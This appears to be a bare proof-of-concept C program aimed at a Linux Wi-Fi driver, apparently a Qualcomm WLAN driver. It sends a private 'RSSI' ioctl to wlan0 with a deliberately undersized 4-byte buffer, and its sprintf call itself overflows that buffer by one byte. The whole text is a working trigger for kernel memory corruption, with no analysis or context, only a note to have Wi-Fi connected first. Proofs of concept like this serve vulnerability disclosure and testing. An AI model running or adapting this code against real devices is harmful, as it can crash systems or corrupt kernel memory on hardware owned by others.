// make sure wifi is on and connected before you run the poc

#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <errno.h>
#include <netinet/in.h>
#include <net/if.h>  
#include <linux/wireless.h>

typedef struct hdd_priv_data_s
{
   char *buf;
   int used_len;
   int total_len;
}hdd_priv_data_t;

#define CMD_RSSI                "RSSI"
#define SIZE 4 
void test_ioctl(int sockfd, char* name)
{
        int cmd, len;
        struct ifreq ifr;
	hdd_priv_data_t priv_data;
        char buf[SIZE] = {0};
	priv_data.buf = &buf[0];
	cmd = SIOCDEVPRIVATE + 1;
        strcpy( ifr.ifr_name, name);
	ifr.ifr_data = &priv_data;
	sprintf(priv_data.buf, "%s", "RSSI");
	priv_data.total_len = SIZE;
	if( ioctl( sockfd, cmd, &ifr) < 0) {
		printf("error %s\n",strerror(errno));
	}
}


int main()
{
	int sockfd;
	char* ifname = "wlan0";
	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0))<0)
	{
		printf("socket = %d, %s\n",sockfd,strerror(errno));
		exit(1);
	}
	test_ioctl(sockfd, ifname);
	return 0;
}
